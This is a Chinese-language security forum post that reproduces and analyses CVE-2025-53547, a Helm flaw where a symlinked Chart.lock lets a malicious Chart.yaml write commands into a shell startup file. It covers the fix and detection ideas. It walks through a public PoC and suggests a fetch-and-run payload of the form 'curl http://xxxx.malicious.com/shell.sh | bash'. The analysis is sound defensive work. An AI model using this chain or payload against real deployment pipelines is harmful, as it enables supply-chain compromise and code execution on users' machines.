问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-53547 helm恶意代码执行漏洞复现&分析
漏洞分析
作为k8s的包管理工具,helm近期披露了一个CVSS评分8.5的高危漏洞,可导致恶意代码执行。本文对其进行了漏洞复现和原理分析。
作为k8s的包管理工具,helm近期披露了一个CVSS评分8.5的高危漏洞,可导致恶意代码执行。本文对其进行了漏洞复现和原理分析。 一、背景 ---- ### 1.1 helm介绍 Helm 是 Kubernetes 的包管理工具,被称为 "Kubernetes 的 apt/yum",用于简化应用的部署和管理,是云原生生态的核心工具之一。它通过 **Chart**(预定义的资源模板)将应用打包,支持版本控制、依赖管理和一键部署。 Helm 的核心优势包括: - **快速部署**:复用 Charts 标准化应用 - **版本回滚**:支持应用版本历史追踪与回退 - **依赖管理**:自动处理子应用或组件依赖关系 ### 1.2 漏洞介绍 #### 1.2.1 漏洞描述 [CVE-2025-53547](https://github.com/helm/helm/security/advisories/GHSA-557j-xg8c-q2mm)是近期helm官方披露的一个CVSS评分为8.5的高危漏洞。Helm 在执行依赖更新(`helm dependency update`)时会将 `Chart.yaml` 的依赖项写入 `Chart.lock`,但未校验文件属性。攻击者可提前将 `Chart.lock` 软链接至用户环境文件(如 `~/.bashrc`Shell 配置文件),并在 `Chart.yaml` 植入恶意命令。更新依赖时,恶意内容即被写入目标文件,后续终端启动时触发恶意命令执行。 #### 1.2.2 影响版本 - Helm ≤ 3.18.3 #### 1.2.3 漏洞检查 可通过以下命令检查helm是否处于受影响范围内: ```bash helm version ```  若版本低于3.18.4即为存在漏洞。 #### 1.2.4 漏洞修复/缓解措施 升级helm版本至3.18.4,可使用以下命令安装最新版: ```bash curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash ``` 二、漏洞原理分析 -------- ### 2.1 原理分析  如图所示,攻击者可利用以下攻击链实现本地命令执行: 1\. 符号链接劫持:将 `Chart.lock` 预先设置为指向用户环境文件(如 `~/.bashrc`)的符号链接 2\. 载荷注入:在 `Chart.yaml` 的 `dependencies` 字段中植入恶意命令 3\. 触发写入:当受害者执行 `helm dependency update` 时: a. Helm 将恶意内容写入`Chart.lock` b. 由于符号链接重定向,实际修改的是目标 shell 配置文件 4\. 载荷执行:用户启动新终端会话时,被篡改的 shell 配置文件自动执行恶意命令 ### 2.2 攻击场景分析 设想如下供应链攻击场景: 某项目Chart包配置文件托管在gitlab仓库中,存在一个恶意用户,提交了恶意构造的`Chart.yaml`和`Chart.lock`文件变更,并在未经仔细审查的情况下合入了主分支。部署工作流自动触发(或管理员手动触发)了依赖更新操作,导致恶意命令写入`.bashrc`文件。当用户进入部署使用的机器终端执行命令,触发`.bashrc`中的恶意命令执行。 ### 2.3 漏洞修复分析 从[helm官方git更新](https://github.com/helm/helm/compare/v3.18.3...v3.18.4)中看到,在写入`Chart.lock`文件前,对该文件添加了属性校验,以此实现漏洞修复:  发现该代码仅校验了文件是否为软链接,试图在本机创建硬链接复现漏洞,实测可以使用最新版本的helm复现成功。 然而,针对2.2中描述的攻击场景,使用硬链接无法实现软链接同等效果,原因如下: - 由于硬链接指向的是主机文件系统中的文件inode,而不同机器的同一文件的inode也不相同,因此硬链接会失效 - gitlab并不存储文件的inode信息,当拉取文件时,实际上拉取的为硬链接文件副本,硬链接失效 因此,官方的修复校验软链接是可行且完善的修复方式。 三、漏洞复现 ------ ### 3.1 环境准备 本文使用的环境为: - Ubuntu 20.04 - helm 3.18.3 - 科学上网(在执行helm命令时需要访问包的仓库) 若机器中不存在helm,可参考官网<https://helm.sh/zh/docs/intro/install/>教程安装: ```bash wget https://get.helm.sh/helm-v3.18.3-linux-amd64.tar.gz tar -zxvf helm-v3.18.3-linux-amd64.tar.gz sudo cp linux-amd64/helm /usr/local/bin/helm helm version ``` ### 3.2 PoC准备 使用以下命令下载[PoC](https://github.com/DVKunion/CVE-2025-53547-POC/tree/main)到本地: ```bash git clone git@github.com:DVKunion/CVE-2025-53547-POC.git ``` 可以看到`Chart.lock`文件是一个指向`/tmp/1.txt`的软链接:  `Chart.yaml`文件中包含了恶意命令`echo$IFS"hacked">/tmp/2.txt`:  ### 3.3 漏洞复现 1. 首先使用命令`touch /tmp/1.txt`创建文件`/tmp/1.txt`。helm命令执行时会检查软链接指向的文件是否存在,若不存在会报错:  2. 执行命令更新依赖项: ```bash helm dependency update ``` 可以看到程序报了个警告: ```bash walk.go:75: found symbolic link in path: /home/test/test/helm_vul/CVE-2025-53547-POC/Chart.lock resolves to /tmp/1.txt. Contents of linked file included and used Getting updates for unmanaged Helm repositories... ``` 但实际上还是执行成功了:  3. 查看`/tmp/1.txt`文件内容,可以看到被写入的内容:  4. 执行`/tmp/1.txt`文件,可以看到虽然报了很多错误,但恶意命令`echo$IFS"hacked">/tmp/2.txt`依然执行成功:  ### 3.4 漏洞修复验证 1. 通过命令将helm升级至最新版: ```bash curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash ``` 2. 执行命令验证helm版本后,再次执行依赖升级操作: ```bash helm version rm -rf /tmp/1.txt rm -rf /tmp/2.txt touch /tmp/1.txt helm dependency update ``` 可以看到程序会抛出一个错误`Error: the Chart.lock file is a symlink to "/tmp/1.txt"`,证明漏洞修复成功:  ### 3.5 PoC拓展探索 软链接文件:PoC使用的`Chart.lock`文件的软链接对象需存在且最好为空。经过实测,helm会校验`Chart.lock`文件的软链接对象是否存在并符合特定的yaml格式要求,否则会报错:  恶意命令:实际攻防场景中,可以使用类似`curl ``http://xxxx.malicious.com/shell.sh`` | bash`的方式实现更大危害的命令执行。 恶意命令植入字段:PoC不便使用除`repository`外的其他字段。发现其代码中定义写入的`dependencies`字段内容为:  仅包含`name`、`version`和`repository`这三个字段,而`name`和`version`会用于查找对应的Chart包,不适合用于命令注入。 四、漏洞/攻击检测 --------- 从安全工具的角度出发,可通过以下方式检出该漏洞/攻击过程(仅列举检测思路): **漏洞检测:** - 版本号匹配:检测主机中helm版本号是否在受影响范围内 - poc探测:参考漏洞复现教程,使用脚本,构造恶意的`Chart.yaml`和`Chart.lock`文件,并调用命令`helm dependency update`执行,探测`/tmp/1.txt`内容是否包含注入的恶意命令 **漏洞攻击检测:** - 基于文件检测(EDR、IaC扫描工具等): - 检测`Chart.yaml`文件内容是否存在非预期值(IaC扫描工具) - 监测`Chart.lock`文件是否存在软链接属性(IaC扫描工具、EDR均可) - 监测敏感文件内容变化,例如:`.bashrc`、`.profile`等(EDR) - 基于日志检测(日志审计等工具): - 可检测helm执行日志(如使用可视化k8s集群管理工具),查看其是否存在警告: 
发表于 2025-07-24 18:24:11
阅读 ( 305 )
分类:
服务器应用
0 推荐
收藏
0 条评论
请先
登录
后评论
Dubito
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!